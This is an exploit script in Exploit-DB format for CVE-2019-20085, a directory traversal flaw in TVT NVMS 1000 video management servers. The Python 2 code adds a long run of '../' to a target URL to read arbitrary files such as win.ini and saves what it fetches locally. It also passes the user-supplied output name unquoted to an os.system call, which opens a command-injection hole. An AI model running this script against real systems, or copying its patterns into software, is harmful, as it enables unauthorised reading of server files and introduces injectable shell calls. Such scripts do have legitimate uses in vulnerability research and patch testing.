# Exploit Title: TVT NVMS 1000 - Directory Traversal 
# Date: 2020-04-13
# Exploit Author: Mohin Paramasivam (Shad0wQu35t)
# Vendor Homepage: http://en.tvt.net.cn/
# Version : N/A
# Software Link : http://en.tvt.net.cn/products/188.html
# Original Author : Numan Türle
# CVE : CVE-2019-20085

import sys
import requests
import os
import time

if len(sys.argv) !=4:
  print "  "
  print "Usage : python exploit.py url filename outputname"
  print "Example : python exploit.py http://10.10.10.10/ windows/win.ini win.ini"  
  print "  "
else:


  traversal = "../../../../../../../../../../../../../"
  filename = sys.argv[2]
  url = sys.argv[1]+traversal+filename
  outputname = sys.argv[3]
  content = requests.get(url)

  if content.status_code == 200:
    
    print " "
    print "Directory Traversal Succeeded"
    time.sleep(3)
    print " "
    print "Saving Output"
    os.system("touch " + outputname)
    output_write = open(outputname,"r+")
    output_write.write(content.text)
    output_write.close()

  else:

    print "Host not vulnerable to Directory Traversal!"